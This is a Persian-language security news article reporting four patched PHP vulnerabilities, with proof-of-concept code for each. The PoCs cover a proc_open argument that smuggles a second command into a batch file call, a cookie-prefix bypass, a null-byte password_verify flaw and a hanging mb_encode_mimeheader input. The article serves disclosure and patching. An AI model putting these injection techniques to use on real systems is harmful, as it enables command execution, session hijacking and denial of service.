Skip to content

ONHEXGROUP

اخبار دنیای امنیت سایبری

  • اخبار
    • آسیب پذیری امنیتی
    • آنالیز بدافزار
    • کنفرانس ،دوره ، وبینار ، لایو ، CTF
    • بازیگران تهدید
    • توسعه اکسپلویت
    • افشای اطلاعات
    • باگ بانتی
    • تیم آبی
    • تیم قرمز
    • امنیت وب
  • دوره های آموزشی
    • دوره رایگان مهندسی معکوس نرم افزار
  • لیست های ویژه
    • موتورهای جستجو برای امنیت سایبری
    • کاتالوگ KEV آژانس CISA
    • آسیب پذیری های وردپرس
      • آسیب پذیری پلاگین ها
      • آسیب پذیری های هسته
      • آسیب پذیری تم ها
    • محصولات خارج از پشتیبانی مایکروسافت
      • محصولات مایکروسافتی که در سال 2022 پشتیبانی نمیشن
      • محصولات مایکروسافتی که در سال 2023 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2024 پشتیبانی نمیشن
      • لیست محصولات مایکروسافتی که در سال 2025 پشتیبانی نمیشن
    • معرفی فیلم ها و سریالهای مرتبط با هک و امنیت
  • آموزش های ویدیویی
  • انتشارات
    • مجله
    • مقالات
    • پادکست
  • پروژه ها
    • ماشین آسیب پذیر
      • وردپرس آسیب پذیر
  • حمایت مالی ( Donate)
  • تماس با ما
 
  • Home
  • اخبار
  • اصلاح چندین آسیب پذیری در PHP + کد POC
  • آسیب پذیری امنیتی
  • اخبار
  • امنیت وب

اصلاح چندین آسیب پذیری در PHP + کد POC

On فروردین 28, 1403فروردین 28, 1403
seyyid
Share
زمان مطالعه: 3 دقیقه

تیم توسعه ی PHP اعلام کرده که یسری آسیب پذیری رو اصلاح کرده که امکان Command Injection ، دور زدن احرازهویت و DoS رو به مهاجم میده.

PHP پر مصرف ترین زبان برنامه نویسی اسکریپتی هستش که تقریبا 79.2% از وب سایتهای کل جهان ازش استفاده میکنن، که حدود 40 درصدش مرتبط با وردپرس هستش.

با توجه به این استفاده ی گسترده  ، وجود چنین آسیب پذیری هایی ،سطح حمله ی بزرگی رو ممکن میکنه ، بنابراین نیازی نیست که روی اصلاح اون تاکید بشه.

 

آسیب پذیری CVE-2024-1874 :

بدلیل مدیریت نادرست آرگومانهای خط فرمان در ویندوز، مهاجم با استفاده از پارامتر command$ در proc_open ، امکان command injection رو داره حتی اگه bypass_shell فعال باشه. آسیب پذیری امتیاز 9.4 و شدت بحرانی داره.

proc_open دستورات خارجی رو که از طریق آرگومانهاشون پاس داده میشن رو اجرا میکنه.

آسیب پذیری اینجوریه که وقتی فایلهای bat یا cmd اجرا میشن، CreateProcess بطور ضمنی CMD.EXE رو اجرا میکنه، در نتیجه آرگومانهای خط فرمان در CMD.EXE تجزیه میشه. با این حال در مستندات بیان شده که SHELL اجرا نمیشه.

در حالیکه proc_open تلاش میکنه تا کاراکترهای خاص (Escape) مدیریت کنه، خط فرمان \ رو بعنوان کاراکتر خاص در نظر نمیگیره. مثلا اگه بخواییم calac.exe رو اجرا کنیم، میتونیم از دستور زیر استفاده کنیم :

 

1
test.bat "\"&calc.exe"

 

POC :

یک فایل test.bat ایجاد کنید و محتوای زیر توش بریزید :

 

1
echo hello

 

یک فایل test.php ایجاد کنید و محتوای زیر توش بریزید :

 

PHP
1
2
3
4
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes);
proc_close($proc);

 

اگه فایل php رو با PHP آسیب پذیر اجرا کنید، notepad.exe اجرا میشه.

همچنین اگه از محتوای زیر در فایل php استفاده کنید، مشاهده میکنید که فعال بودن bypass_shell تاثیری نداره.

 

PHP
1
2
3
4
<?php
$descriptorspec = [STDIN, STDOUT, STDOUT];
$proc = proc_open(["test.bat", "\"&notepad.exe"], $descriptorspec, $pipes, null, null, array("bypass_shell" => true));
proc_close($proc);

 

بنابراین آسیب پذیری این امکان رو میده تا آرگومانهایی که در دستورات به فایل bat یا cmd پاس داده میشن از طریق proc_open اجرا بشن.

 

نسخه های تحت تاثیر :

< 8.1.28
< 8.2.18
< 8.3.5
نسخه های اصلاح شده :
8.1.28
8.2.18
8.3.6

 

 

آسیب پذیری CVE-2024-2756 :

بدلیل اصلاح ناقص CVE-2022-31629 ، مهاجمان شبکه یا same-site ، میتونن یک کوکی ناامن استاندارد در مرورگر قربانی تنظیم کنن که برنامه ی PHP ، بعنوان کوکی -HOST__ یا -Secure__ باهاشون رفتار میکنه. امتیاز 6.5 و شدت نسبتا بالا داره. آسیب پذیری در کل امکان session hijacking یا حملات cross-site رو میده.
در حقیقت کوکی هایی که با -Host]__ شروع میشن، بعنوان -Host__ در نظر گرفته میشن.

PoC :

 

PHP
1
2
3
4
5
6
$ echo '<?php echo(json_encode($_COOKIE)); ?>' > x
 
$ docker run -p 8080:8080 --rm -v $(pwd):$(pwd) php:latest php -S 0.0.0.0:8080 $(pwd)/x
 
$ curl -b '_[Host-x=y' localhost:8080/x
{"__Host-x":"y"}

 

نسخه های تحت تاثیر:

> 8.1.11, < 8.1.28
< 8.2.18
< 8.3.5
نسخه ی اصلاح شده :
8.1.28
8.2.18
8.3.6

 

آسیب پذیری CVE-2024-3096 :

اگه پسورد ذخیره شده با password_hash ، با یک null byte (\x00) شروع بشه، بررسی رشته خالی بعنوان پسورد در password_verify ، مقدار true برمیگردونه. اگه یه کاربری از یک پسورد با null byte استفاده کنه، خیلی بعیده اما امکانپذیره، مهاجم با یک رشته خالی میتونه اکانتش رو تصاحب کنه.

POC:

محتوای زیر داخل فایل pw_bug.php بریزید :

 

PHP
1
2
3
4
5
6
7
8
9
10
11
<?php
 
declare(strict_types=1);
 
$pw = "\x00\x30";
$hash = password_hash($pw, PASSWORD_DEFAULT);
 
assert(password_verify(password: 'wrong', hash: $hash) === false, 'Incorect password should not verify');
assert(password_verify(password: '', hash: $hash) === false, 'Blank password should not verify');
assert(password_verify(password: $pw, hash: $hash) === true, 'Correct password should verify');
assert(password_verify(password: strrev($pw), hash: $hash) === false, 'Reversed correct password not should verify');

 

اگه فایل اجرا کنید :

 

1
2
3
4
5
AssertionError: Blank password should not verify in .../pw_bug.php on line 9
 
Call Stack:
    0.0002     496408   1. {main}() .../pw_bug.php:0
    0.1998     496536   2. assert($assertion = FALSE, $description = 'Blank password should not verify') .../pw_bug.php:9

 

نسخه های تحت تاثیر:

< 8.1.28
< 8.2.18
< 8.3.5

 

نسخه های اصلاح شده:

8.1.28
8.2.18
8.3.6

 

آسیب پذیری CVE-2024-2757 :

ورودیهای مخرب به mb_encode_mimeheader  ، منجر به ایجاد حلقه بی پایان میشن که در نتیجه امکان DoS رو میده. برای این آسیب پذیری یک الگوی قابل تشخیص شناسایی نشده اما یک رشته خاص میتونه منجر به این قضیه بشه. امتیاز 7.5 و شدت بالا داره.

با توجه به اینکه تابع mb_encode_mimeheader در خیلی از روالهای پردازش ایمیل ، بخصوص مواردی که وروردیهای کاربر مدیریت میکنن، استفاده میشه، امکان حملات DoS رو فراهم میکنه. مثلا در CakePHP 5 ، از این تابع برای انکد کردن موضوع ایمیل استفاده میشه.

PoC :

در PHP 8.3.3 ، کد زیر اجرا کنید، میتونید آسیب پذیری رو مشاهده کنید :

 

PHP
1
2
3
<?php
mb_internal_encoding('UTF-8');
mb_encode_mimeheader(",9868949,9868978,9869015,9689100,9869121,9869615,9870690,9867116,98558119861183. ", "utf-8", "B");

 

نسخه ی تحت تاثیر:

< 8.3.5

 

نسخه ی اصلاح شده :

8.3.6

 

 

منبع

 

 

 

اشتراک در شبکه های اجتماعی :

Facebook
Twitter
Pinterest
LinkedIn
In آسیب پذیری امنیتی اخبار امنیت وب

راهبری نوشته

آسیب پذیری اجرای کد در Telegram Desktop
افزایش حملات سایبری به اسرائیل

دیدگاهتان را بنویسید لغو پاسخ

نشانی ایمیل شما منتشر نخواهد شد. بخش‌های موردنیاز علامت‌گذاری شده‌اند *

دسته‌ها

  • Osint
  • آسیب پذیری امنیتی
  • آموزش های ویدیویی
  • آنالیز بدافزار
  • اخبار
  • افشای اطلاعات
  • امنیت وب
  • انتشارات
  • اینترنت اشیاء
  • بازیگران تهدید
  • باگ بانتی
  • پادکست
  • پروژه ها
  • توسعه اکسپلویت
  • تیم آبی
  • تیم قرمز
  • دوره های آموزشی
  • فازینگ
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • لیست های ویژه
  • ماشین آسیب پذیر
  • مجله
  • مقالات
  • مهندسی معکوس نرم افزار

بایگانی‌ها

  • می 2025
  • آوریل 2025
  • مارس 2025
  • فوریه 2025
  • ژانویه 2025
  • دسامبر 2024
  • نوامبر 2024
  • اکتبر 2024
  • سپتامبر 2024
  • آگوست 2024
  • جولای 2024
  • ژوئن 2024
  • می 2024
  • آوریل 2024
  • مارس 2024
  • فوریه 2024
  • ژانویه 2024
  • دسامبر 2023
  • نوامبر 2023
  • اکتبر 2023
  • سپتامبر 2023
  • آگوست 2023
  • جولای 2023
  • ژوئن 2023
  • می 2023
  • آوریل 2023
  • مارس 2023
  • فوریه 2023
  • ژانویه 2023
  • دسامبر 2022

پست های مرتبط

  • آنالیز بدافزار
  • اخبار
  • توسعه اکسپلویت
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
  • مهندسی معکوس نرم افزار
seyyid
On آبان 19, 1403آبان 19, 1403

پایان مسابقه مهندسی معکوس Flare-On 11 + چالشها و راه حلها

  • اخبار
  • افشای اطلاعات
  • بازیگران تهدید
seyyid
On شهریور 29, 1402

حمله سایبری به دیوان کیفری بین‌المللی

  • اخبار
  • افشای اطلاعات
  • بازیگران تهدید
seyyid
On تیر 23, 1403تیر 23, 1403

افشای سوابق تماس 109 میلیون مشترک AT&T

  • اخبار
  • کنفرانس ،دوره ، وبینار ، لایو ، CTF
seyyid
On آبان 18, 1402آبان 20, 1402

کنفرانس BlackHat MEA 2023

درباره ما

بعد از چندین سال فعالیت تو حوزه امنیت سایبری و تولید محتوا در شبکه های اجتماعی ، بالاخره تصمیم گرفتیم تا یه سایت راه اندازی کنیم و مطالب رو ساده تر ، در یک محیط منسجم و طبقه بندی شده به دست مخاطب برسونیم. امیدوارم که قدمی در راستای رشد امنیت سایبری کشورمون برداشته باشیم.

تگ ها

0day APT command injection Deserialization of Untrusted Data Directory Traversal FBI Fortinet Heap buffer overflow integer overflow kali LockBit Memory Corruption nuclei Off By One Security out-of-bounds write Out of bounds read Patch Tuesday PWN2OWN Stack Buffer overflow type confusion use after free vulnerable wordpress XSS ZDI vulnerability آموزش اکسپلویت نویسی ارز دیجیتال اندروید اپل اکسپلویت باج افزار تلگرام زیرودی سیسکو فارنزیک فورتی نت فیشینگ لاک بیت مایکروسافت هوش مصنوعی وردپرس وردپرس آسیب پذیر ویندوز پلاگین کروم گوگل

شبکه های اجتماعی

    • Instagram
    • Telegram
    • Twitter
    • GitHub
    • YouTube
    • LinkedIn
      کپی مطالب با ذکر منبع بلامانع است | 1401-1404